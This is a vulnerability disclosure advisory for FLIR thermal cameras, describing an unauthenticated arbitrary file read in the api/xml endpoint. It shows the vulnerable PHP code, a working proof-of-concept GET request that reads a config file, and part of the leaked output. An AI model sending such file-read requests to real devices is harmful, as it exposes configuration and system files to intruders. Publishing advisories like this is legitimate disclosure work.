FLIR Systems FLIR Thermal Camera F/FC/PT/D Multiple Information Disclosures Vendor: FLIR Systems, Inc. Product web page: http://www.flir.com Affected version: Firmware version: 8.0.0.64 Software version: 10.0.2.43 Release: 1.4.1, 1.4, 1.3.4 GA, 1.3.3 GA and 1.3.2 FC-Series S (FC-334-NTSC) FC-Series ID FC-Series R PT-Series (PT-334 200562) D-Series F-Series Summary: FLIR's PT-Series of high-performance, multi-sensor pan/tilt cameras bring thermal and visible-light imaging together in a system that gives you video and control over both IP and analog networks. The PT-Series' precision pan/tilt mechanism gives you accurate pointing control while providing fully programmable scan patterns, radar slew-to-cue, and slew-to-alarm functions. PT-Series cameras define a new standard of performance with five models that provide full 640x480 thermal resolution. Desc: Input passed thru several parameters is not properly verified before being used to read files. This can be exploited by an unauthenticated attacker to read arbitrary files from local resources. ============================================================================== /var/www/data/controllers/api/xml.php: -------------------------------------- 68:private function readFile($file) 69:{ 70:if (!empty($file) && file_exists($file)) { 71:$xml = file_get_contents($file); 72:$this->setVar('result', $xml); 73:$this->loadView('webservices/default'); 74:} 75:else { 76:$this->loadPageNotFound(); 77:} 78:} ============================================================================== Tested on: Linux 2.6.18_pro500-davinci_evm-arm_v5t_le Linux 2.6.10_mvl401-davinci_evm-PSP_01_30_00_082 Nexus Server/2.5.29.0 Nexus Server/2.5.14.0 Nexus Server/2.5.13.0 lighttpd/1.4.28 PHP/5.4.7 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5434 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5434.php 23.03.2017 -- Requests: GET http://TARGET/api/xml?file=/var/www/data/modules/legacy/config.php HTTP/1.1 Output: ===================================================================== <?php $configFile = "config.ini"; // load configuration params $config = parse_ini_file($configFile); if (!$config || count($config) == 0 || !isset($config["dir_nexus"])) die("error loading configuration file..."); // TODO if don't exist configuration, create config.ini according system and nexus setup // global define ("BASE", $config["dir_nexus"]); define ("BIN",$config["dir_bin"]); define ("TMP_DIR",$config["dir_tmp"]); define ("SERVER_DIR", $config["dir_server"]); define ("CONF_DIR", $config["dir_conf"]); define ("WEB_DIR","/web/"); define ("TOOLS_DIR","/tools/"); define ("HARDWARE_DIR", "/hardware/"); define ("BACKUPS_DIR","/backups/"); define ("BACKUPS_INI_DIR",BACKUPS_DIR .
